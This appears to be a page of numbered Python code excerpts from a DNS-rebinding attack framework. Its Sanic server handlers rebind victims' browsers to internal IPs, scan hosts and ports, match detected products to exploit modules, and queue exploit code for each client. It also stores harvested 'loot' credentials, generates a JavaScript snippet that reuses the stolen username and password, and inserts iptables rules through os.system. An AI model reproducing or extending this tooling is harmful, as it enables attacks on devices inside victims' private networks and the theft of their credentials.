Beispiel #1
0
    async def rebind(self, hostname, ip):
        response = await ipc.async_http_raw(
            "POST", SOCK_WEBSERVER,
            "/new/client/{}/{}?port={}".format(ip, hostname, self.port))
        if ipc.response_valid(
                response, dict) is False or "redirect" not in response["text"]:
            return None

        resp = response["text"]

        # Register the new client
        newid = resp["domain"].split(".")[0]
        response = await ipc.async_http_raw(
            "POST", SOCK_DATABASE, "/new/client/{}/{}".format(newid, ip))
        if ipc.response_valid(response, dict) is False:
            logger.error("Unable to store client {}, resp {}".format(
                newid, response))
            return None

        # If in demo version, we create a timer to delete the data about this client
        # TODO: Test that it's working
        if self.client_managed:
            minutes = 60 * 24
            logger.info(
                "Creating timer to delete client {} in {} minutes".format(
                    newid, minutes))
            call = threading.Timer(minutes * 60, ipc.sync_http_raw, (
                "POST",
                SOCK_DATABASE,
                "/delete/client/{}".format(newid),
            ))
            call.start()
        return {"redirect": resp["redirect"]}
Beispiel #2
0
    async def client_exploit(self, request, clientid, modid, payid):
        args = request.json
        assert isinstance(args, dict)

        if "HOME" not in args:
            args["HOME"] = "http://" + request.headers["Host"]

        tmp = await ipc.async_http_raw("GET", SOCK_DATABASE,
                                       "/get/json/{}/product".format(clientid))
        if ipc.response_valid(tmp, list):
            logger.info("Product is {}".format(tmp["text"]))
            args["product"] = tmp["text"]

        response = await ipc.async_http_raw(
            "POST", SOCK_MODULES, "/exploit/code/{}/{}".format(modid, payid),
            json.dumps(args))

        if ipc.response_valid(response, str):
            res = await self.store_exploit(clientid, response["text"].encode())
            if res is False:
                logger.error(
                    "Unable to store exploit for clientid {}".format(clientid))
                return sanic.response.text("Unable to store exploit",
                                           status=500)
        else:
            logger.error(
                "Unable to get exploit code for client {}, modid: {}, payloadid: {}"
                .format(clientid, modid, payid))
            return sanic.response.text("Error", status=500)
        return sanic.response.json(RETURN_OK)
Beispiel #3
0
    async def common_ports(self, _request):
        response = await ipc.async_http_raw("GET", SOCK_MODULES, "/ports/list")
        if ipc.response_valid(response, list):
            return sanic.response.json(response["text"])

        logger.error("Unable to get common ports")
        return sanic.response.text("", status=500)
Beispiel #4
0
 async def store_exploit(self, clientid, exploit):
     response = await ipc.async_http_raw(
         "POST", SOCK_DATABASE,
         "/append/body/{}/exploit_queue".format(clientid), exploit)
     if ipc.response_valid(response, dict):
         return True
     return False
Beispiel #5
0
    async def attack(self, hostname, ip, localip, port, args):
        response = await ipc.async_http_raw(
            "POST", SOCK_WEBSERVER,
            "/new/attack/{}/{}/{}/{}".format(ip, localip, port, hostname))
        if ipc.response_valid(response, dict) is False:
            logger.error(
                "Unable to get attack value, resp {}".format(response))
            return None

        resp = response["text"]

        browser = args.get("browser", "Unknown")
        if browser == "IE" or browser == "Edge":
            response = await ipc.async_http_raw(
                "POST", SOCK_DNS,
                "/add/dynamic/ms/{}/{}".format(resp["domain"], localip))

        clientid = misc.hostname2id(hostname)
        childid = misc.hostname2id(resp["domain"])
        response = await ipc.async_http_raw(
            "POST", SOCK_DATABASE,
            "/new/attack/value/{}/{}/{}/{}".format(clientid, childid, localip,
                                                   port))

        # Store which browser is used
        tmp = await self.store_browser(browser, clientid)

        return {"redirect": resp["redirect"]}
Beispiel #6
0
def reload(args):
    resp = ipc.sync_http_raw("POST", http_socks["modules"], "/reload")
    if ipc.response_valid(resp, dict):
        print("Status: {}".format(resp["text"].get("status", "Unknown")))
    else:
        print("Error")
        print(resp)
Beispiel #7
0
def dump(args):
    client = args.client
    resp = ipc.sync_http_raw("GET", http_socks["database"], "/get/client/{}".format(client))
    if ipc.response_valid(resp, dict):
        dump_client(resp["text"])
    else:
        print("Unable to find information about client {}".format(client))
Beispiel #8
0
 async def get_httpresponse(self, _request, clientid):
     response = await ipc.async_http_raw(
         "GET", SOCK_DATABASE,
         "/get/value/{}/httpresponse".format(clientid))
     if ipc.response_valid(response, dict):
         return sanic.response.json(response["text"])
     return sanic.response.text("Not found", status=404)
Beispiel #9
0
    async def client_product(self, _request, clientid):
        response = await ipc.async_http_raw(
            "GET", SOCK_DATABASE, "/get/json/{}/product".format(clientid))
        if ipc.response_valid(response, list):
            return sanic.response.json(response["text"])

        logger.error("Unable to get product for client {}".format(clientid))
        return sanic.response.text("Not found", status=404)
Beispiel #10
0
    async def client_delete(self, _request, clientid):
        response = await ipc.async_http_raw(
            "POST", SOCK_DATABASE, "/delete/client/{}".format(clientid))
        if ipc.response_valid(response, dict):
            return sanic.response.json(response["text"])

        logger.error("Unable to delete client {}".format(clientid))
        return sanic.response.text("Error", status=500)
Beispiel #11
0
def clients(args):
    resp = ipc.sync_http_raw("GET", http_socks["database"], "/get/clients")
    ids = resp["text"]
    if ipc.response_valid(resp, dict):
        for key, val in ids.items():
            print("{} ({} - {})".format(key, val.get("publicip", None), val["browser"]))
            for child in val["childs"]:
                print("\t{} ({}:{})".format(child["id"], child["ip"],
                                                   child["port"]))
Beispiel #12
0
 async def store_json(self, request, host, modid):
     clientid = misc.hostname2id(host)
     data = request.json
     data = {modid: data}
     response = await ipc.async_http_raw(
         "POST", SOCK_DATABASE, "/merge/json/{}/dump".format(clientid),
         json.dumps(data))
     if ipc.response_valid(response, dict):
         return sanic.response.json(response["text"])
     return sanic.response.text("Error", status=500)
Beispiel #13
0
 async def is_child(self, parent, child):
     response = await ipc.async_http_raw(
         "GET", SOCK_DATABASE, "/get/value/{}/parent".format(child))
     if ipc.response_valid(response, dict):
         rparent = response["text"].get("parent", None)
         if rparent == None or rparent != parent:
             return False
         else:
             return True
     return False
Beispiel #14
0
def modules(args):
    resp = ipc.sync_http_raw("GET", http_socks["modules"], "/modules/loaded")
    if ipc.response_valid(resp, dict):
        for key, val in resp["text"].items():
            print("{}:".format(key))
            for v in val:
                print("\t{}".format(v))
    else:
        print("error")
        print(resp)
Beispiel #15
0
    async def client_available_modules(self, _request, clientid):
        response = await ipc.async_http_raw(
            "GET", SOCK_DATABASE,
            "/get/json/{}/matched_modules".format(clientid))
        if ipc.response_valid(response, list):
            return sanic.response.json(response["text"])

        logger.error(
            "Unable to matched_modules for client {}".format(clientid))
        return sanic.response.text("Error", status=500)
Beispiel #16
0
def status(args):
    for key, val in http_socks.items():
        try:
            resp = ipc.sync_http_raw("GET", val, "/status")
        except:
            print("{} is unavailable".format(key))
            continue
        if ipc.response_valid(resp, dict):
            print("Status for {} - {}".format(key, resp["text"].get("status")))
        else:
            print("Received an invalid response {}".format(resp))
Beispiel #17
0
    async def hosts_up(self, request):
        clientid = self.host2clientid(request)

        response = await ipc.async_http_raw(
            "POST", SOCK_DATABASE, "/append/list/{}/ipsalive".format(clientid),
            request.body)
        if ipc.response_valid(response, dict):
            return sanic.response.json(response["text"])

        logger.error("Unable to save hosts up for client {}".format(clientid))
        return sanic.response.text("Error", status=500)
Beispiel #18
0
    async def store_loot(self, request, host):
        clientid = misc.hostname2id(host)
        data = request.json

        if "USERNAME" in data and "USERPASS" in data:
            jscode = """Network.request_sd("GET", "/", null, function(xhr) {{
            TalkHome.service_detection(xhr, "{}", "{}")}}, "{}", "{}");""".format(
                request.host, host, data["USERNAME"], data["USERPASS"])

            res = await self.store_exploit(clientid, jscode.encode())
            if ipc.response_valid(res, dict) is False:
                logger.error(
                    "Unable to store new service detection: {}".format(res))

        response = await ipc.async_http_raw(
            "POST", SOCK_DATABASE, "/merge/json/{}/loot".format(clientid),
            json.dumps(data))
        if ipc.response_valid(response, dict):
            return sanic.response.json(response["text"])
        return sanic.response.text("Error", status=500)
Beispiel #19
0
    async def new_commands(self, request, hostname):
        clientid = misc.hostname2id(hostname)
        response = await ipc.async_http_raw(
            "POST", SOCK_DATABASE,
            "/pop/value/{}/exploit_queue".format(clientid))
        # TODO: Gå gjennom all error-checkers, response.get("text", dict) makes no sense
        if ipc.response_valid(response, str):
            return sanic.response.text(response["text"])

        logger.error(
            "Unable to get new commands for client {}".format(clientid))
        return sanic.response.text("", status=200)
Beispiel #20
0
 async def store_browser(self, browser, clientid):
     if browser != "Unknown":
         response = await ipc.async_http_raw(
             "POST", SOCK_DATABASE,
             "/store/value/{}/browser/{}".format(clientid, browser))
         if ipc.response_valid(response, dict) is False:
             logger.error(
                 "Unable to store browser {} at id {}, resp {}".format(
                     browser, clientid, response))
             return None
         return response["text"]
     return None
Beispiel #21
0
    async def client_harvested(self, request, clientid):
        parentid = self.host2clientid(request)
        ret = await self.is_child(parentid, clientid)
        if ret is True:
            ret = {}
            keys = [
                "dump", "loot", "matched_modules", "failed", "success",
                "product"
            ]
            for key in keys:
                resp = await ipc.async_http_raw(
                    "GET", SOCK_DATABASE,
                    "/get/json/{}/{}".format(clientid, key))
                if ipc.response_valid(resp, dict) or ipc.response_valid(
                        resp, list):
                    ret[key] = resp["text"]

            return sanic.response.json(ret)
        else:
            return sanic.response.text("Not allowed", status=403)
        return sanic.response.text("Error", status=500)
Beispiel #22
0
 def wait_webserver(self, ip, port, count=10, delay=0.5):
     for i in range(0, count):
         logger.debug("Checking if server at {}:{} is up".format(ip, port))
         try:
             resp = ipc.sync_http_raw("GET",
                                      "http://127.0.0.1:{}".format(port),
                                      "/status")
         except:
             resp = None
             pass
         if ipc.response_valid(resp, dict):
             return True
         time.sleep(delay)
     return False
Beispiel #23
0
    async def client_childs(self, request):
        """
        Get all childs of current client along with some other key data.

        Format is: [{"id":"clientid", "ip":"127.0.0.1", "port":"8080"}]
        """
        clientid = self.host2clientid(request)
        response = await ipc.async_http_raw(
            "GET", SOCK_DATABASE, "/get/json/{}/childs".format(clientid))
        if ipc.response_valid(response, list):
            ret = []
            clients = response.get("text")
            for client in clients:
                ins = {"id": client}
                for key in ["ip", "port"]:
                    resp1 = await ipc.async_http_raw(
                        "GET", SOCK_DATABASE,
                        "/get/value/{}/{}".format(client, key))
                    if ipc.response_valid(response, dict):
                        ins[key] = response["text"].get(key, "")
                ret.append(ins)
            return sanic.response.json(ret)
        return sanic.response.text("Not found", status=404)
Beispiel #24
0
    async def dns_change(self, request, ip_addr):
        host = self.host2hostname(request)
        clientid = misc.hostname2id(host)

        # Notify that this host has connected
        response = await ipc.async_http_raw(
            "POST", SOCK_DATABASE,
            "/store/value/{}/connected/true".format(clientid))

        if network.internal_ip(ip_addr) is False:
            return sanic.response.text(b"Public IP is not allowed", status=403)

        # Get browser and act accordingly
        browser = request.raw_args.get("browser", "Unknown")
        await self.store_browser(browser, clientid)

        # For MS-browsers we must block the client from accessing the port
        if browser == "IE" or browser == "Edge":
            assert network.validIPv4(request.ip)
            delete = IPTABLES_INSERT.format("-D INPUT", request.ip,
                                            self.config["interface"],
                                            self.port)
            insert = IPTABLES_INSERT.format("-I INPUT 1", request.ip,
                                            self.config["interface"],
                                            self.port)
            logger.info("Running command: {}".format(insert))
            os.system(insert)  # Create rule

            # Get timeout count
            try:
                timeout = int(request.raw_args.get("timer", "30"))
            except:
                timeout = 30

            # Create timer to delete rule
            # TODO: 30 seconds is not optimal, client could also report when done
            logger.info("Creating timer to run command: {}".format(delete))
            call = threading.Timer(timeout, os.system, (delete, ))
            call.start()
            return sanic.response.json(RETURN_OK)

        else:
            response = await ipc.async_http_raw(
                "POST", SOCK_DNS, "/add/dynamic/{}/{}".format(host, ip_addr))
            if ipc.response_valid(response, dict):
                return sanic.response.json(RETURN_OK)

        return sanic.response.text("Unspecified error", status=500)
Beispiel #25
0
    async def ports_open(self, request, localip):
        clientid = self.host2clientid(request)
        try:
            payload = json.loads(request.body.decode("utf-8"))
        except:
            raise ServerError("POST body is not valid", 500)

        response = await ipc.async_http_raw(
            "POST", SOCK_DATABASE,
            "/append/list/{}/open_{}".format(clientid, localip), request.body)
        if ipc.response_valid(response, dict):
            return sanic.response.json(response["text"])

        logger.error(
            "Unable to save ports open for client {} and IP {}, port: {}".
            format(clientid, localip, request.body))
        return sanic.response.text("Error", status=500)
Beispiel #26
0
    async def generate_exploit(self, request, exploitid, payloadid):
        # This is only allowed from localhost
        if request.ip == "127.0.0.1" or self.config["debug_mode"] is True:
            data = request.json
            if isinstance(data, dict) is False:
                return sanic.response.text("Invalid POST body", status=500)

            response = await ipc.async_http_raw(
                "POST", SOCK_MODULES,
                "/exploit/code/{}/{}".format(exploitid,
                                             payloadid), request.body)
            if ipc.response_valid(response, str):
                return sanic.response.text(response["text"])
            return sanic.response.text("Error", status=500)

        # Default behaviour
        logger.warning(
            "Attempted access to generate_exploit from IP: {}".format(
                request.ip))
        return sanic.response.text("Forbidden", status=401)
Beispiel #27
0
 async def client_payloads(self, _request, exploitid):
     response = await ipc.async_http_raw(
         "GET", SOCK_MODULES, "/exploit/payloads/{}".format(exploitid))
     if ipc.response_valid(response, list):
         return sanic.response.json(response["text"])
     return sanic.response.text("", status=500)
Beispiel #28
0
def purge(args):
    print("Purging database")
    resp = ipc.sync_http_raw("POST", http_socks["database"], "/purge")
    if ipc.response_valid(resp, dict):
        print("Result {}".format(resp["text"]))
Beispiel #29
0
def get_value(section, key):
    resp = ipc.sync_http_raw("GET", SOCK_CONFIG, "/get/variable/{}/{}".format(section, key))
    if ipc.response_valid(resp, dict):
        return resp["text"].get(key, None)
    return None
Beispiel #30
0
    async def service_detection(self, request, rhost):
        home = request.headers["Host"]
        clientid = misc.hostname2id(rhost)

        # Store raw response
        response = await ipc.async_http_raw(
            "POST", SOCK_DATABASE,
            "/store/body/{}/httpresponse".format(clientid), request.body)
        if ipc.response_valid(response, dict) is False:
            logger.error(
                "Unable to store httpresponse for client {}, res {}".format(
                    clientid, response))
            return sanic.response.text("", status=404)

        response = await ipc.async_http_raw("POST", SOCK_SD, "/match",
                                            request.body)
        if ipc.response_valid(response, list):
            matches = response["text"]
            # Store matched signatures
            tmp = await ipc.async_http_raw(
                "POST", SOCK_DATABASE,
                "/store/json/{}/product".format(clientid), json.dumps(matches))
            if ipc.response_valid(tmp, dict) is False:
                logger.error(
                    "Unable to store product {} for client {}, res: {}".format(
                        json.dumps(matches), clientid, tmp))
                # We still continue
            for match in matches:
                response = await ipc.async_http_raw(
                    "GET", SOCK_MODULES,
                    "/search/exploits/product?" + urlencode(match))
                if ipc.response_valid(response, list):
                    exploits = list(set(response["text"]))
                    tmp = await ipc.async_http_raw(
                        "POST", SOCK_DATABASE,
                        "/append/list/{}/matched_modules".format(clientid),
                        json.dumps(exploits))
                    if ipc.response_valid(tmp, dict) is False:
                        logger.error(
                            "Unable to store matched_modules for {}, res {}".
                            format(clientid, tmp))

                    tmp = await ipc.async_http_raw(
                        "GET", SOCK_DATABASE,
                        "/get/json/{}/loot".format(clientid))
                    if ipc.response_valid(tmp, dict):
                        args = tmp["text"]
                    else:
                        args = {}
                    args["HOME"] = home
                    for exploit in exploits:
                        tmp = await ipc.async_http_raw(
                            "GET", SOCK_MODULES,
                            "/module/matches/{}".format(exploit))
                        # Only if classification matches should we get code for it
                        if ipc.response_valid(tmp, dict):
                            if tmp["text"].get("match") is True:
                                response = await ipc.async_http_raw(
                                    "GET", SOCK_MODULES,
                                    "/exploit/code/{}?{}".format(
                                        exploit, urlencode(args)))
                                if ipc.response_valid(response, str):
                                    await self.store_exploit(
                                        clientid, response["text"].encode())
                                else:
                                    return sanic.response.text(
                                        "String is not returned", status=500)
            return sanic.response.json(RETURN_OK)
        return sanic.response.json(RETURN_ERROR)